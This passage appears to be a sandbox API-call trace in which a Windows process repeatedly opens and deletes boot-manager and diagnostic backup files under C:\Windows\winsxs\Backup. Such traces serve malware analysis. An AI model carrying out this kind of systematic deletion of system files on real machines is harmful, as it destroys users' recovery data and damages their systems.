wProcessorRevision=0x5507)) [0066.085] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_12de4907a4bd1cfc.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_12de4907a4bd1cfc.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.085] CloseHandle (hObject=0xffffffff) returned 0 [0066.085] CloseHandle (hObject=0xffffffff) returned 0 [0066.085] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_12de4907a4bd1cfc.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_12de4907a4bd1cfc.manifest")) returned 0 [0066.085] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.085] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_12de4907a4bd1cfc_memtest.efi.mui_71e15c22" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_12de4907a4bd1cfc_memtest.efi.mui_71e15c22"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.086] CloseHandle (hObject=0xffffffff) returned 0 [0066.086] CloseHandle (hObject=0xffffffff) returned 0 [0066.086] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_12de4907a4bd1cfc_memtest.efi.mui_71e15c22" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_12de4907a4bd1cfc_memtest.efi.mui_71e15c22")) returned 0 [0066.086] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.086] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..ironment-dvd-efisys_31bf3856ad364e35_6.1.7601.17514_none_c0c6eceaf97c4827.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..ironment-dvd-efisys_31bf3856ad364e35_6.1.7601.17514_none_c0c6eceaf97c4827.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.086] CloseHandle (hObject=0xffffffff) returned 0 [0066.086] CloseHandle (hObject=0xffffffff) returned 0 [0066.086] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..ironment-dvd-efisys_31bf3856ad364e35_6.1.7601.17514_none_c0c6eceaf97c4827.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..ironment-dvd-efisys_31bf3856ad364e35_6.1.7601.17514_none_c0c6eceaf97c4827.manifest")) returned 0 [0066.093] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.094] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..ironment-dvd-efisys_31bf3856ad364e35_6.1.7601.17514_none_c0c6eceaf97c4827_efisys.bin_0bfd8f26" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..ironment-dvd-efisys_31bf3856ad364e35_6.1.7601.17514_none_c0c6eceaf97c4827_efisys.bin_0bfd8f26"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.094] CloseHandle (hObject=0xffffffff) returned 0 [0066.094] CloseHandle (hObject=0xffffffff) returned 0 [0066.094] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..ironment-dvd-efisys_31bf3856ad364e35_6.1.7601.17514_none_c0c6eceaf97c4827_efisys.bin_0bfd8f26" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..ironment-dvd-efisys_31bf3856ad364e35_6.1.7601.17514_none_c0c6eceaf97c4827_efisys.bin_0bfd8f26")) returned 0 [0066.094] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.095] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.095] CloseHandle (hObject=0xffffffff) returned 0 [0066.095] CloseHandle (hObject=0xffffffff) returned 0 [0066.095] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9.manifest")) returned 0 [0066.095] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.095] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9_expand.exe.mui_3f54e013" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9_expand.exe.mui_3f54e013"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.095] CloseHandle (hObject=0xffffffff) returned 0 [0066.095] CloseHandle (hObject=0xffffffff) returned 0 [0066.096] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9_expand.exe.mui_3f54e013" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9_expand.exe.mui_3f54e013")) returned 0 [0066.096] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.096] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9_netmsg.dll.mui_ab0f7c73" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9_netmsg.dll.mui_ab0f7c73"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.096] CloseHandle (hObject=0xffffffff) returned 0 [0066.096] CloseHandle (hObject=0xffffffff) returned 0 [0066.096] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9_netmsg.dll.mui_ab0f7c73" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3f3bc9163ae8cff9_netmsg.dll.mui_ab0f7c73")) returned 0 [0066.096] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.097] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.097] CloseHandle (hObject=0xffffffff) returned 0 [0066.097] CloseHandle (hObject=0xffffffff) returned 0 [0066.097] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8.manifest")) returned 0 [0066.097] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.097] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.097] CloseHandle (hObject=0xffffffff) returned 0 [0066.097] CloseHandle (hObject=0xffffffff) returned 0 [0066.097] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.098] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.098] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.098] CloseHandle (hObject=0xffffffff) returned 0 [0066.098] CloseHandle (hObject=0xffffffff) returned 0 [0066.098] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_97769b281ba398b8_bootmgr.efi.mui_be5d0075")) returned 0 [0066.098] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.098] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.099] CloseHandle (hObject=0xffffffff) returned 0 [0066.099] CloseHandle (hObject=0xffffffff) returned 0 [0066.099] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7.manifest")) returned 0 [0066.099] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.099] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.099] CloseHandle (hObject=0xffffffff) returned 0 [0066.099] CloseHandle (hObject=0xffffffff) returned 0 [0066.099] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.100] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.100] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.100] CloseHandle (hObject=0xffffffff) returned 0 [0066.100] CloseHandle (hObject=0xffffffff) returned 0 [0066.100] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_34b07b4f11e994b7_bootmgr.efi.mui_be5d0075")) returned 0 [0066.100] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.100] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.100] CloseHandle (hObject=0xffffffff) returned 0 [0066.100] CloseHandle (hObject=0xffffffff) returned 0 [0066.101] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951.manifest")) returned 0 [0066.101] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.101] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.101] CloseHandle (hObject=0xffffffff) returned 0 [0066.101] CloseHandle (hObject=0xffffffff) returned 0 [0066.101] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.106] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.106] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.106] CloseHandle (hObject=0xffffffff) returned 0 [0066.106] CloseHandle (hObject=0xffffffff) returned 0 [0066.107] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_de-de_31dc108b13bfe951_bootmgr.efi.mui_be5d0075")) returned 0 [0066.107] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.107] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.107] CloseHandle (hObject=0xffffffff) returned 0 [0066.107] CloseHandle (hObject=0xffffffff) returned 0 [0066.107] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df.manifest")) returned 0 [0066.108] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.108] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.108] CloseHandle (hObject=0xffffffff) returned 0 [0066.108] CloseHandle (hObject=0xffffffff) returned 0 [0066.108] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.108] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.108] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df_bootmgr.efi.mui_be5d0075" 